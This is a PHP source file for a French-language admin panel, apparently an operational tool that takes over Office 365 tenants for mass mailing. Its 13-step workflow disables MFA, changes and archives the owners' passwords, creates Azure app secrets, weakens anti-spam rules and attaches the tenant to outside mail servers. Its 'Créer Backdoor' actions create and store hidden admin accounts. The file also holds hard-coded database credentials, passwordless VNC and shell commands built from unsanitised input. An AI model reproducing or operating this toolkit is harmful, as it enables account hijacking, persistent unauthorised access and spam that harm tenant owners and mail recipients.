Files
wevads-platform/scripts/office-workflow.php
2026-02-26 04:53:11 +01:00

956 lines
64 KiB
PHP
Executable File

<?php
$config = ['vnc_host'=>'89.167.40.150','vnc_port'=>5900,'novnc_port'=>6080,'scripts_dir'=>'/opt/wevads/scripts/office365','data_dir'=>'/opt/wevads/storage/office365'];
$db = ['host'=>'localhost','port'=>'5432','dbname'=>'adx_system','user'=>'admin','password'=>'admin123'];
@mkdir($config['scripts_dir'],0755,true);@mkdir($config['data_dir'],0755,true);
function getDB(){global $db;try{return new PDO("pgsql:host={$db['host']};port={$db['port']};dbname={$db['dbname']}",$db['user'],$db['password']);}catch(Exception $e){return null;}}
function getAccounts(){$p=getDB();if(!$p)return[];try{return $p->query("SELECT * FROM admin.office_accounts ORDER BY name")->fetchAll(PDO::FETCH_ASSOC);}catch(Exception $e){return[];}}
function getAccount($id){$p=getDB();if(!$p)return null;$s=$p->prepare("SELECT * FROM admin.office_accounts WHERE id=?");$s->execute([$id]);return $s->fetch(PDO::FETCH_ASSOC);}
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['action'])){
header('Content-Type: application/json');
switch($_POST['action']){
case'check_services':
$sv=['xvfb'=>['running'=>trim(shell_exec('pgrep -x Xvfb'))!=''],'vnc'=>['running'=>trim(shell_exec('pgrep -x x11vnc'))!=''],'novnc'=>['running'=>trim(shell_exec('pgrep -f websockify'))!=''],'chrome'=>['running'=>trim(shell_exec('pgrep -f chrome'))!=''],'pwsh'=>['running'=>trim(shell_exec('which pwsh'))!='']];
echo json_encode(['success'=>true,'services'=>$sv]);exit;
case'restart_services':
$output=[];
if(!trim(shell_exec('pgrep -x Xvfb'))){shell_exec('Xvfb :99 -screen 0 1920x1080x24 > /dev/null 2>&1 &');$output[]='XVFB démarré';}else{$output[]='XVFB OK';}
sleep(1);
if(!trim(shell_exec('pgrep -x x11vnc'))){shell_exec('x11vnc -display :99 -forever -shared -nopw -bg -o /tmp/x11vnc.log 2>/dev/null');$output[]='VNC démarré';}else{$output[]='VNC OK';}
sleep(1);
if(!trim(shell_exec('pgrep -f websockify'))){shell_exec('cd /opt/novnc && ./utils/novnc_proxy --vnc localhost:5900 --listen 6080 > /dev/null 2>&1 &');$output[]='noVNC démarré';}else{$output[]='noVNC OK';}
echo json_encode(['success'=>true,'message'=>implode(' | ',$output)]);exit;
case'start_vnc':
shell_exec('pgrep -x Xvfb || Xvfb :99 -screen 0 1920x1080x24 > /dev/null 2>&1 &');sleep(1);
shell_exec('pgrep -x x11vnc || x11vnc -display :99 -forever -shared -nopw -bg 2>/dev/null');sleep(1);
shell_exec('pgrep -f websockify || (cd /opt/novnc && ./utils/novnc_proxy --vnc localhost:5900 --listen 6080 > /dev/null 2>&1 &)');
echo json_encode(['success'=>true]);exit;
case'kill_all':
shell_exec('pkill -f chrome 2>/dev/null');shell_exec('pkill -f websockify 2>/dev/null');
echo json_encode(['success'=>true]);exit;
case'start_browser':
$url=$_POST['url']??'https://portal.azure.com';
shell_exec("DISPLAY=:99 google-chrome --no-sandbox --disable-gpu '$url' > /dev/null 2>&1 &");
echo json_encode(['success'=>true]);exit;
case'prepare_account':
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
file_put_contents($config['data_dir'].'/khalil.csv',$acc['admin_email'].','.$acc['admin_password']);
file_put_contents($config['data_dir'].'/current_account_id.txt',$aid);
echo json_encode(['success'=>true,'message'=>'Compte préparé: '.$acc['admin_email']]);exit;
case'run_step':
$step=intval($_POST['step']??0);$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
// Step 7 spécial: setup domaine complet
if($step==7 && $acc){
$email=$acc['admin_email']??$acc['email'];
$pass=$acc['admin_password']??$acc['password'];
$cmd="python3 /opt/wevads/scripts/office365/setup_domain_full.py ".$aid." '".$email."' '".$pass."' 2>&1";
$out=shell_exec($cmd);
echo json_encode(['success'=>true,'output'=>$out]);exit;
}
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
file_put_contents($config['data_dir'].'/khalil.csv',$acc['admin_email'].','.$acc['admin_password']);
file_put_contents($config['data_dir'].'/current_account_id.txt',$aid);
$scripts=[
1=>['cmd'=>'bash '.$config['scripts_dir'].'/test_licence_o365.sh'],
2=>['cmd'=>'pwsh '.$config['scripts_dir'].'/check_office_blocked.ps1'],
3=>['cmd'=>'pwsh '.$config['scripts_dir'].'/remove_mfa.ps1'],
4=>['cmd'=>'pwsh '.$config['scripts_dir'].'/change_password.ps1'],
5=>['cmd'=>'pwsh '.$config['scripts_dir'].'/Add_cred.ps1'],
6=>['cmd'=>'pwsh '.$config['scripts_dir'].'/check_domains.ps1'],
7=>['cmd'=>'python3 '.$config['scripts_dir'].'/cloudflare_domains.py'],
8=>['cmd'=>'DISPLAY=:99 python3 '.$config['scripts_dir'].'/freedns_v2.py'],
9=>['cmd'=>'DISPLAY=:99 python3 '.$config['scripts_dir'].'/add_domain_office.py'],
10=>['cmd'=>'pwsh '.$config['scripts_dir'].'/shell_auto.ps1'],
11=>['cmd'=>'pwsh '.$config['scripts_dir'].'/config_anti_spam.ps1'],
12=>['cmd'=>'pwsh '.$config['scripts_dir'].'/add_connector.ps1'],
13=>['cmd'=>'echo "✅ COMPTE PRÊT!"']
];
if(isset($scripts[$step])){
$out=shell_exec($scripts[$step]['cmd'].' 2>&1');
$p=getDB();
if($p&&$aid){$p->prepare("UPDATE admin.office_accounts SET current_step=?,last_update=NOW() WHERE id=?")->execute([$step,$aid]);}
if($step==13&&$aid&&$p){$p->prepare("UPDATE admin.office_accounts SET status='Ready' WHERE id=?")->execute([$aid]);}
// Si step 4 (change password), mettre à jour la DB
// Si step 5 (Azure App), sauvegarder les credentials
if($step==5 && strpos($out,'APP AZURE CREEE')!==false){
preg_match('/App ID: ([a-f0-9-]+)/', $out, $appId);
preg_match('/Tenant: ([a-f0-9-]+)/', $out, $tenantId);
preg_match('/Secret: ([^\s]+)/', $out, $secret);
if(!empty($appId[1])){
$pdo=getDB();
if($db){$pdo->prepare('UPDATE admin.office_accounts SET app_id=?, tenant_id=?, app_secret=? WHERE id=?')->execute([$appId[1],$tenantId[1]??"",$secret[1]??"",$aid]);}
}
}
if($step==4 && strpos($out,'PASSWORD CHANGED')!==false){
preg_match('/New: ([^\s]+)/', $out, $newPwd);
preg_match('/Old: ([^\s]+)/', $out, $oldPwd);
if(!empty($newPwd[1])){
$pdo=getDB();
if($db){
// Backup ancien mot de passe
// Sauvegarder ancien mot de passe dans old_passwords (JSON)
$stmt=$pdo->prepare('SELECT admin_password, old_passwords FROM admin.office_accounts WHERE id=?');
$stmt->execute([$aid]);
$row=$stmt->fetch(PDO::FETCH_ASSOC);
$oldPwds=json_decode($row['old_passwords']??'[]',true)?:[];
array_unshift($oldPwds,['password'=>$row['admin_password'],'date'=>date('Y-m-d H:i:s')]);
$oldPwds=array_slice($oldPwds,0,5); // Garder 5 derniers
$pdo->prepare('UPDATE admin.office_accounts SET admin_password=?, old_passwords=? WHERE id=?')->execute([$newPwd[1],json_encode($oldPwds),$aid]);
}
}
}
echo json_encode(['success'=>true,'step'=>$step,'output'=>$out]);
}else{echo json_encode(['success'=>false,'message'=>'Étape invalide']);}
exit;
case'create_backdoor':
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
$csvPath='/opt/wevads/storage/office365/'.'khalil.csv';
$output=shell_exec('pwsh /opt/wevads/scripts/office365/create_backdoor.ps1 "'.$csvPath.'" 2>&1');
// Sauvegarder en DB si succès
if(strpos($output,'BACKDOOR CRÉÉ')!==false){
preg_match('/Email: ([^\s]+)/', $output, $m1);
preg_match('/Pass:\s*([^\s]+)/', $output, $m2);
preg_match('/Utilisateur créé: ([^\s]+)/', $output, $m3);
if(!empty($m1[1])&&!empty($m2[1])){
$pdo=getDB();
if($db){
$pdo->prepare('INSERT INTO admin.office_backdoors(account_id,account_name,backdoor_email,backdoor_password,azure_user_id) VALUES(?,?,?,?,?)')->execute([$aid,$acc['name'],$m1[1],$m2[1],$m3[1]??'']);
$domain=explode('@',$m1[1])[1]??'';
$pdo->prepare('INSERT INTO admin.office_accounts(name,admin_email,admin_password,tenant_domain,source,status,created_by) VALUES(?,?,?,?,?,?,?)')->execute(['Backdoor_'.$acc['name'],$m1[1],$m2[1],$domain,'Backdoor','Active','Workflow']);
}
}
}
echo json_encode(['success'=>true,'message'=>$output]);exit;
case'test_specific_backdoor':
$email=$_POST['email']??'';
$pass=$_POST['password']??'';
if(!$email||!$pass){echo json_encode(['success'=>false,'message'=>'Email/password manquant']);exit;}
file_put_contents('/tmp/test_backdoor.csv', $email.','.$pass);
$output=shell_exec('pwsh /opt/wevads/scripts/office365/test_backdoor.ps1 "/tmp/test_backdoor.csv" 2>&1');
echo json_encode(['success'=>true,'message'=>$output]);exit;
case'list_cf_zones':
$zones = json_decode(shell_exec('python3 /opt/wevads/scripts/office365/list_cf_zones.py 2>&1'), true);
echo json_encode(['success'=>true,'zones'=>$zones]);exit;
case'save_cf_zone':
$zoneId = $_POST['zone_id'] ?? '';
$zoneName = $_POST['zone_name'] ?? '';
if($zoneId && $zoneName) {
$configFile = '/opt/wevads/storage/office365/cloudflare_config.json';
$config = json_decode(file_get_contents($configFile), true) ?: [];
$config['zone_id'] = $zoneId;
$config['base_domain'] = $zoneName;
file_put_contents($configFile, json_encode($config, JSON_PRETTY_PRINT));
}
echo json_encode(['success'=>true]);exit;
case'save_cf_account':
$cfId=intval($_POST['cf_id']??0);
if($cfId){
$pdo=getDB();
$stmt=$pdo->prepare('SELECT * FROM admin.cloudflare_accounts WHERE id=?');
$stmt->execute([$cfId]);
$cf=$stmt->fetch(PDO::FETCH_ASSOC);
if($cf){
file_put_contents('/opt/wevads/storage/office365/cloudflare_config.json',json_encode([
'api_email'=>$cf['api_email'],
'api_key'=>$cf['api_key'],
'account_name'=>$cf['name']
],JSON_PRETTY_PRINT));
}
}
echo json_encode(['success'=>true]);exit;
case'delete_backdoor':
$id=intval($_POST['id']??0);
$pdo=getDB();
if($db&&$id){$pdo->prepare('DELETE FROM admin.office_backdoors WHERE id=?')->execute([$id]);}
echo json_encode(['success'=>true]);exit;
case'test_backdoor':
$aid=intval($_POST['account_id']??0);$acc=getAccount($aid);
if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;}
$csvPath='/opt/wevads/storage/office365/'.'khalil.csv';
$output=shell_exec('pwsh /opt/wevads/scripts/office365/test_backdoor.ps1 "'.$csvPath.'" 2>&1');
echo json_encode(['success'=>true,'message'=>$output]);exit;}
}
$accounts=getAccounts();
$selectedId=intval($_GET['account_id']??0);
$selectedAccount=$selectedId?getAccount($selectedId):null;
// Charger les comptes Cloudflare
$cfAccounts = [];
if($pdo = getDB()) {
$stmt = $pdo->query("SELECT * FROM admin.cloudflare_accounts WHERE status='Activated' ORDER BY email");
$cfAccounts = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
if($selectedAccount){
file_put_contents("/opt/wevads/storage/office365/khalil.csv", $selectedAccount["admin_email"].",".$selectedAccount["admin_password"]);
}
$steps=[
1=>['name'=>'Test Licence SMTP','icon'=>'fa-envelope','color'=>'#059669','desc'=>'Teste SMTP Office365:587','type'=>'bash'],
2=>['name'=>'Check Blocked/MFA','icon'=>'fa-shield-alt','color'=>'#2563eb','desc'=>'Détecte blocage ou MFA','type'=>'pwsh'],
3=>['name'=>'Remove MFA','icon'=>'fa-unlock','color'=>'#ef4444','desc'=>'Désactive MFA/Security Defaults','type'=>'pwsh'],
4=>['name'=>'Change Password','icon'=>'fa-key','color'=>'#dc2626','desc'=>'Rotation password + backup','type'=>'pwsh'],
5=>['name'=>'Azure App + Credentials','icon'=>'fa-fingerprint','color'=>'#d97706','desc'=>'App + Secret + Permissions','type'=>'pwsh'],
6=>['name'=>'Check Domains','icon'=>'fa-list','color'=>'#6366f1','desc'=>'Liste domaines existants','type'=>'pwsh'],
7=>['name'=>'Cloudflare Domains','icon'=>'fa-cloud','color'=>'#f97316','desc'=>'Crée 5 sous-domaines CF','type'=>'python'],
8=>['name'=>'FreeDNS Domains','icon'=>'fa-globe','color'=>'#7c3aed','desc'=>'Crée 5 sous-domaines','type'=>'python'],
9=>['name'=>'Add Domain to Office','icon'=>'fa-plus-circle','color'=>'#0891b2','desc'=>'Vérifie domaines dans O365','type'=>'python'],
10=>['name'=>'Config Exchange','icon'=>'fa-server','color'=>'#475569','desc'=>'Liste domaines + règles','type'=>'pwsh'],
11=>['name'=>'Anti-Spam','icon'=>'fa-filter','color'=>'#db2777','desc'=>'15 règles anti-spam','type'=>'pwsh'],
12=>['name'=>'Add Connector','icon'=>'fa-plug','color'=>'#0d9488','desc'=>'Connecte aux serveurs PMTA','type'=>'pwsh'],
13=>['name'=>'Finalisation','icon'=>'fa-flag-checkered','color'=>'#059669','desc'=>'Compte Ready','type'=>'']
];
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Office 365 Workflow - WEVAL</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root{--primary:#6366f1;--success:#22c55e;--warning:#f59e0b;--danger:#ef4444;--card:#fff;--card-border:#e2e8f0;--bg:#f8fafc}
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Segoe UI',system-ui,sans-serif;background:var(--bg);min-height:100vh}
.header{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);padding:12px 24px;display:flex;justify-content:space-between;align-items:center;color:white;position:sticky;top:0;z-index:100}
.header .logo{font-size:18px;font-weight:700;display:flex;align-items:center;gap:10px}
.header-actions{display:flex;gap:8px}
.header-btn{padding:8px 16px;border:none;border-radius:8px;cursor:pointer;font-size:12px;font-weight:600;display:flex;align-items:center;gap:6px;transition:all 0.2s}
.header-btn.success{background:#22c55e;color:white}
.header-btn.danger{background:#ef4444;color:white}
.header-btn.warning{background:#f59e0b;color:white}
.header-btn.primary{background:#6366f1;color:white}
.header-btn:hover{transform:scale(1.05);filter:brightness(1.1)}
.container{display:grid;grid-template-columns:400px 1fr;gap:20px;padding:20px;height:calc(100vh - 60px)}
.panel{background:var(--card);border-radius:16px;border:1px solid var(--card-border);overflow:hidden;display:flex;flex-direction:column}
.panel-header{background:linear-gradient(135deg,#f8fafc,#f1f5f9);padding:14px 18px;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--card-border)}
.panel-header h3{font-size:14px;font-weight:600;display:flex;align-items:center;gap:8px}
.panel-header h3 i{color:var(--primary)}
.panel-body{padding:16px;flex:1;overflow-y:auto}
.search-box{width:100%;padding:12px 14px;border:2px solid #e2e8f0;border-radius:10px;font-size:13px;margin-bottom:12px;transition:all 0.2s}
.search-box:focus{outline:none;border-color:var(--primary);box-shadow:0 0 0 3px rgba(99,102,241,0.1)}
.account-card{background:linear-gradient(135deg,#f0f9ff,#e0f2fe);border-radius:12px;padding:16px;margin-bottom:16px;border:1px solid #bae6fd}
.account-card h4{font-size:15px;color:#0369a1;margin-bottom:12px;display:flex;align-items:center;gap:8px}
.account-info{display:flex;flex-direction:column;gap:8px}
.account-info .row{display:flex;justify-content:space-between;align-items:center;padding:6px 0;border-bottom:1px dashed #bae6fd}
.account-info .row:last-child{border:none}
.account-info .label{font-size:12px;color:#64748b;font-weight:500}
.account-info .value{font-size:11px;font-weight:600;color:#1e293b;font-family:monospace;user-select:all;word-break:break-all;max-width:200px;text-align:right}
.account-info .value.ok{color:#22c55e}
.account-info .value.ko{color:#ef4444}
.account-info .value.warning{color:#f59e0b}
.progress-section{margin:16px 0}
.progress-label{display:flex;justify-content:space-between;font-size:11px;color:#64748b;margin-bottom:6px}
.progress-bar{height:8px;background:#e2e8f0;border-radius:4px;overflow:hidden}
.progress-fill{height:100%;background:linear-gradient(90deg,#6366f1,#8b5cf6);border-radius:4px;transition:width 0.3s}
.results-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:8px;margin-bottom:16px}
.result-card{background:#f8fafc;border-radius:8px;padding:10px;text-align:center;border:1px solid #e2e8f0}
.result-card .label{font-size:10px;color:#64748b;display:block;margin-bottom:4px}
.result-card .badge{font-size:11px;font-weight:600;padding:2px 8px;border-radius:4px}
.result-card .badge.success{background:#dcfce7;color:#16a34a}
.result-card .badge.error{background:#fee2e2;color:#dc2626}
.result-card .badge.pending{background:#f1f5f9;color:#64748b}
.workflow-section h4{font-size:13px;color:#374151;margin-bottom:12px;display:flex;align-items:center;gap:8px}
.workflow-step{display:flex;align-items:center;gap:12px;padding:10px 12px;background:#f8fafc;border-radius:10px;margin-bottom:8px;border:1px solid #e2e8f0;transition:all 0.2s}
.workflow-step:hover{border-color:var(--primary);background:#f0f9ff}
.workflow-step.completed{background:#f0fdf4;border-color:#86efac}
.workflow-step.active{background:#eef2ff;border-color:#6366f1}
.step-icon{width:32px;height:32px;border-radius:8px;display:flex;align-items:center;justify-content:center;font-size:12px}
.step-content{flex:1}
.step-content h5{font-size:12px;font-weight:600;color:#1e293b;display:flex;align-items:center;gap:6px}
.step-content p{font-size:10px;color:#64748b;margin-top:2px}
.type-badge{font-size:9px;padding:2px 6px;border-radius:4px;font-weight:500}
.type-bash{background:#fef3c7;color:#d97706}
.type-pwsh{background:#dbeafe;color:#2563eb}
.type-python{background:#fce7f3;color:#db2777}
.step-run{width:32px;height:32px;border:none;border-radius:8px;background:var(--primary);color:white;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:all 0.2s}
.step-run:hover{background:#4f46e5;transform:scale(1.1)}
.step-run:disabled{background:#cbd5e1;cursor:not-allowed;transform:none}
.console-panel{display:flex;flex-direction:column;height:100%}
.status-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin-bottom:12px}
.status-card{background:#f8fafc;border-radius:8px;padding:10px;text-align:center;border:2px solid #e2e8f0}
.status-card i{font-size:16px;color:#64748b;margin-bottom:4px}
.status-card h5{font-size:10px;color:#64748b;margin-bottom:4px}
.status-card .dot{width:8px;height:8px;border-radius:50%;background:#cbd5e1;margin:0 auto}
.status-card.running{border-color:#22c55e;background:#f0fdf4}
.status-card.running i,.status-card.running h5{color:#16a34a}
.status-card.running .dot{background:#22c55e}
.console-container{flex:1;background:#0f172a;border-radius:12px;overflow:hidden;display:flex;flex-direction:column}
.console-header{background:#1e293b;padding:10px 14px;display:flex;justify-content:space-between;align-items:center}
.console-header span{font-size:12px;color:#94a3b8;display:flex;align-items:center;gap:6px}
.console-header span i{color:#22c55e}
.console-header button{padding:4px 10px;font-size:10px;background:#334155;border:none;color:#94a3b8;border-radius:4px;cursor:pointer}
.console-header button:hover{background:#475569}
.console{flex:1;padding:14px;font-family:'Fira Code',monospace;font-size:11px;overflow-y:auto;line-height:1.8;color:#e2e8f0}
.console .time{color:#a78bfa}
.console .info{color:#60a5fa}
.console .success{color:#34d399}
.console .error{color:#f87171}
.console .warning{color:#fbbf24}
.quick-actions{display:flex;gap:8px;margin-bottom:12px;flex-wrap:wrap}
.quick-btn{padding:8px 12px;background:#f1f5f9;border:1px solid #e2e8f0;border-radius:8px;font-size:11px;cursor:pointer;display:flex;align-items:center;gap:6px;transition:all 0.2s}
.quick-btn:hover{background:#e0e7ff;border-color:#6366f1}
.action-btns{display:grid;grid-template-columns:1fr 1fr;gap:8px;margin-bottom:12px}
.action-btn{padding:12px;border-radius:10px;border:none;cursor:pointer;font-size:12px;font-weight:600;display:flex;align-items:center;justify-content:center;gap:8px;transition:all 0.2s}
.action-btn.danger{background:#fee2e2;color:#dc2626;border:1px solid #fecaca}
.action-btn.warning{background:#fef3c7;color:#d97706;border:1px solid #fde68a}
.action-btn:hover{transform:scale(1.02)}
.vnc-modal{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.8);z-index:1000;padding:20px}
.vnc-modal.active{display:flex;flex-direction:column}
.vnc-modal-header{display:flex;justify-content:space-between;align-items:center;padding:12px 20px;background:#1e293b;border-radius:12px 12px 0 0}
.vnc-modal-header h3{color:white;font-size:14px}
.vnc-modal-header button{background:#ef4444;color:white;border:none;padding:8px 16px;border-radius:6px;cursor:pointer}
.vnc-modal-body{flex:1;background:#0f172a;border-radius:0 0 12px 12px;overflow:hidden}
.vnc-modal-body iframe{width:100%;height:100%;border:none}
</style>
</head>
<body>
<div class="header">
<div class="logo"><i class="fa fa-envelope"></i> Office 365 Workflow</div><button class="btn btn-sm btn-info ms-3" style="margin-left:15px;" onclick="document.getElementById('workflowHelpModal').style.display='flex'"><i class="fas fa-question-circle"></i> Aide</button>
<a href="architecture.php" class="btn btn-sm btn-outline-info" style="margin-left:10px;" target="_blank">
<i class="fas fa-book"></i> Doc
</a>
<div class="header-actions">
<button class="header-btn primary" onclick="openVNC()"><i class="fa fa-desktop"></i> VNC</button>
<button class="header-btn warning" onclick="restartServices()"><i class="fa fa-sync"></i> Réanimer</button>
<button class="header-btn danger" onclick="killAll()"><i class="fa fa-stop"></i> Stop</button>
</div>
</div>
<div class="container">
<!-- COLONNE GAUCHE : COMPTE -->
<div class="panel">
<div class="panel-header"><h3><i class="fa fa-user"></i> Compte Office 365</h3></div>
<div class="panel-body">
<input type="text" id="accountSearch" list="accountList" class="search-box" placeholder="🔍 Rechercher un compte...">
<datalist id="accountList">
<?php foreach($accounts as $acc): ?>
<option value="<?=$acc['id']?>"><?=htmlspecialchars($acc['name']??$acc['admin_email'])?> (<?=$acc['status']??'?'?>)</option>
<?php endforeach; ?>
</datalist>
<?php if($selectedAccount): ?>
<div class="account-card">
<h4><i class="fa fa-id-badge"></i> <?=htmlspecialchars($selectedAccount['name']??'N/A')?></h4>
<div class="account-info">
<div class="row"><span class="label">Email</span><span class="value"><?=htmlspecialchars($selectedAccount['admin_email']??'')?></span></div>
<div class="row"><span class="label">Password</span><span class="value"><?=htmlspecialchars($selectedAccount['admin_password']??'❌ MANQUANT')?></span></div>
<div class="row"><span class="label">Status</span><span class="value <?=($selectedAccount['status']??'')=='Ready'?'ok':(($selectedAccount['status']??'')=='Blocked'?'ko':'warning')?>"><?=htmlspecialchars($selectedAccount['status']??'Pending')?></span></div>
</div>
</div>
<div class="action-btns">
<button class="action-btn danger" onclick="createBackdoor()"><i class="fa fa-user-secret"></i> Créer Backdoor</button>
<button class="action-btn warning" onclick="testBackdoor()"><i class="fa fa-vial"></i> Tester Backdoor</button>
</div>
<!-- Liste des Backdoors du compte -->
<?php
$backdoors = [];
if($selectedAccount && $pdo = getDB()) {
$stmt = $pdo->prepare("SELECT * FROM admin.office_backdoors WHERE account_id = ? ORDER BY created_at DESC");
$stmt->execute([$selectedAccount["id"]]);
$backdoors = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
if(count($backdoors) > 0): ?>
<div style="margin-top:15px;padding:12px;background:#1a1a2e;border-radius:8px;border:1px solid #00d9ff;">
<h5 style="color:#00d9ff;margin:0 0 10px 0;font-size:13px;"><i class="fa fa-key"></i> Backdoors (<?=count($backdoors)?>)</h5>
<?php foreach($backdoors as $bd): ?>
<div style="display:flex;justify-content:space-between;align-items:center;padding:8px 10px;margin-bottom:5px;background:#0d0d1a;border-radius:5px;font-size:11px;">
<div>
<div style="color:#0f0;"><?=htmlspecialchars($bd["backdoor_email"])?></div>
<div style="color:#888;font-size:10px;">Pass: <?=htmlspecialchars($bd["backdoor_password"])?></div>
</div>
<div>
<button onclick="testSpecificBackdoor('<?=htmlspecialchars($bd["backdoor_email"])?>','<?=htmlspecialchars($bd["backdoor_password"])?>')" style="background:#0088ff;color:#fff;border:none;padding:4px 8px;border-radius:4px;cursor:pointer;margin-right:5px;" title="Tester"><i class="fa fa-play"></i></button>
<button onclick="deleteBackdoor(<?=$bd["id"]?>)" style="background:#ff4444;color:#fff;border:none;padding:4px 8px;border-radius:4px;cursor:pointer;" title="Supprimer"><i class="fa fa-trash"></i></button>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Sélecteur Cloudflare -->
<div style="margin-top:15px;padding:12px;background:#1a1a2e;border-radius:8px;border:1px solid #f97316;">
<h5 style="color:#f97316;margin:0 0 10px 0;font-size:13px;"><i class="fa fa-cloud"></i> Compte Cloudflare</h5>
<select id="cfAccountSelect" style="width:100%;padding:8px;background:#0d0d1a;color:#fff;border:1px solid #334155;border-radius:5px;font-size:12px;">
<option value="">-- Sélectionner un compte --</option>
<?php foreach($cfAccounts as $cf): ?>
<option value="<?=$cf['id']?>" data-email="<?=htmlspecialchars($cf['api_email'])?>" data-key="<?=htmlspecialchars($cf['api_key'])?>"><?=htmlspecialchars($cf['name'])?></option>
<?php endforeach; ?>
</select>
</div>
<button type="button" onclick="loadZones()" style="width:100%;margin-top:10px;padding:10px;background:#6366f1;color:#fff;border:none;border-radius:8px;cursor:pointer;font-weight:600;display:flex;align-items:center;justify-content:center;gap:8px;">
<i class="fa fa-globe"></i> Charger Domaines
</button>
<div id="zoneSelector" style="display:none;margin-top:10px;">
<label style="font-size:11px;color:#94a3b8;margin-bottom:5px;display:block;">Domaine</label>
<select id="cf_zone_select" style="width:100%;padding:10px;background:#1e293b;color:#fff;border:1px solid #334155;border-radius:8px;font-size:13px;" onchange="saveZone()">
<option value="">-- Sélectionner un domaine --</option>
</select>
</div>
<div class="progress-section">
<div class="progress-label"><span>Progression</span><span><?=$selectedAccount['current_step']??0?>/13</span></div>
<div class="progress-bar"><div class="progress-fill" style="width:<?=(($selectedAccount['current_step']??0)/13)*100?>%"></div></div>
</div>
<div class="results-grid">
<div class="result-card"><span class="label">Licence</span><span class="badge <?=($selectedAccount['licence_status']??'')?($selectedAccount['licence_status']=='OK'?'success':'error'):'pending'?>"><?=$selectedAccount['licence_status']??'—'?></span></div>
<div class="result-card"><span class="label">Blocked</span><span class="badge <?=($selectedAccount['blocked_status']??'')?($selectedAccount['blocked_status']=='OK'?'success':'error'):'pending'?>"><?=$selectedAccount['blocked_status']??'—'?></span></div>
<div class="result-card"><span class="label">MFA</span><span class="badge <?=($selectedAccount['mfa_status']??'')?($selectedAccount['mfa_status']=='Disabled'?'success':'error'):'pending'?>"><?=$selectedAccount['mfa_status']??'—'?></span></div>
<div class="result-card"><span class="label">Domaines</span><span class="badge <?=($selectedAccount['domains_count']??0)>0?'success':'pending'?>"><?=$selectedAccount['domains_count']??0?></span></div>
<div class="result-card"><span class="label">Exchange</span><span class="badge <?=($selectedAccount['exchange_configured']??false)?'success':'pending'?>"><?=($selectedAccount['exchange_configured']??false)?'OK':'—'?></span></div>
<div class="result-card"><span class="label">Anti-Spam</span><span class="badge <?=($selectedAccount['antispam_configured']??false)?'success':'pending'?>"><?=($selectedAccount['antispam_configured']??false)?'OK':'—'?></span></div>
</div>
<div class="workflow-section">
<h4><i class="fa fa-tasks"></i> Workflow (13 étapes)</h4>
<?php foreach($steps as $num=>$step):
$isActive=$selectedAccount&&($selectedAccount['current_step']??0)==$num;
$isCompleted=$selectedAccount&&($selectedAccount['current_step']??0)>$num;
?>
<div class="workflow-step <?=$isActive?'active':''?> <?=$isCompleted?'completed':''?>">
<div class="step-icon" style="background:<?=$step['color']?>22;color:<?=$step['color']?>"><?=$isCompleted?'<i class="fa fa-check"></i>':'<i class="fa '.$step['icon'].'"></i>'?></div>
<div class="step-content">
<h5><?=$num?>. <?=$step['name']?> <?php if($step['type']):?><span class="type-badge type-<?=$step['type']?>"><?=$step['type']?></span><?php endif;?></h5>
<p><?=$step['desc']?></p>
</div>
<button class="step-run" onclick="runStep(<?=$num?>)" <?=!$selectedAccount?'disabled':''?>><i class="fa fa-play"></i></button>
</div>
<?php endforeach; ?>
</div>
<?php else: ?>
<div style="text-align:center;padding:40px;color:#64748b;">
<i class="fa fa-search" style="font-size:48px;margin-bottom:16px;opacity:0.3"></i>
<p>Sélectionnez un compte pour commencer</p>
</div>
<?php endif; ?>
</div>
</div>
<!-- COLONNE DROITE : CONSOLE -->
<div class="panel console-panel">
<div class="panel-header">
<h3><i class="fa fa-terminal"></i> Console</h3>
<div class="quick-actions">
<button class="quick-btn" onclick="openBrowser('https://portal.azure.com')"><i class="fab fa-microsoft"></i> Azure</button>
<button class="quick-btn" onclick="openBrowser('https://admin.microsoft.com')"><i class="fa fa-cog"></i> Admin</button>
<button class="quick-btn" onclick="openBrowser('https://outlook.office365.com')"><i class="fa fa-envelope"></i> Outlook</button>
<button class="quick-btn" onclick="openBrowser('https://freedns.afraid.org')"><i class="fa fa-globe"></i> FreeDNS</button>
<button class="quick-btn" onclick="openBrowser('https://admin.exchange.microsoft.com')"><i class="fa fa-server"></i> Exchange</button>
</div>
</div>
<div class="panel-body" style="display:flex;flex-direction:column;gap:12px;padding:12px">
<div class="status-grid">
<div class="status-card" id="card-xvfb"><i class="fa fa-tv"></i><h5>XVFB</h5><div class="dot"></div></div>
<div class="status-card" id="card-vnc"><i class="fa fa-desktop"></i><h5>VNC</h5><div class="dot"></div></div>
<div class="status-card" id="card-novnc"><i class="fa fa-globe"></i><h5>noVNC</h5><div class="dot"></div></div>
<div class="status-card" id="card-chrome"><i class="fab fa-chrome"></i><h5>Chrome</h5><div class="dot"></div></div>
<div class="status-card" id="card-pwsh"><i class="fa fa-terminal"></i><h5>PowerShell</h5><div class="dot"></div></div>
</div>
<div class="console-container">
<div class="console-header">
<span><i class="fa fa-circle"></i> Output</span>
<div style="display:flex;gap:6px;">
<a href="console-history.php" target="_blank" style="padding:4px 10px;font-size:10px;background:#334155;color:#94a3b8;border-radius:4px;text-decoration:none;display:flex;align-items:center;gap:4px;"><i class="fa fa-history"></i> Historique</a>
